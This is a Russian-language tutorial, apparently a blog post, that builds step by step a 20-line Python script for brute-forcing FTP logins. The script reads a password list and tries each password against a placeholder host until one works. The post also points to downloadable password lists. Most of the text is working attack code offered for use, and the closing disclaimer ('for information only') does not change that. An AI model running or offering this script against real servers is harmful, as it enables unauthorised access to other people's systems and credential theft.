Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python.
Полный код состоит всего из 20 строк, и инструмент достаточно прост.
Создайте новый файл Python
Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.
Импортируйте FTPlib
FTPlib — это стандартная библиотека, используйте ее.
Запишите следующий фрагмент кода в свой файл Python.
from ftplib import FTP
Список паролей
Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).
Большие списки паролей для брутфорса | скачать бесплатно
Ahadu — Генератор списка паролей
Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.
Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.
password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"
Цикл
Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python.
Добавьте следующую строку кода:
def start():
setx = []
f = open(password_list)
setx = f.readlines()
Продолжаем добавлять цикл и шаги входа в систему:
for password in setx:
password = password.strip()
try:
ftp = FTP(target)
ftp.login(user=username, passwd = password)
print("Success:",str(password))
break
except Exception as e:
print("Fail:",str(e)," [X]-> ",password)
Запуск
Последний шаг, который мы сделаем, — это добавим start() в конец кода Python.
start()
Конечный результат
from ftplib import FTP
#options
password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"
def start():
setx = []
f = open(password_list)
setx = f.readlines()
for password in setx:
password = password.strip()
try:
ftp = FTP(target)
ftp.login(user=username, passwd = password)
print("Success:",str(password))
break
except Exception as e:
print("Fail:",str(e)," [X]-> ",password)
start()
Вся информация предоставлена лишь для ознакомления и не призывает к действиям. Автор не несет ответственности за использование этой информации.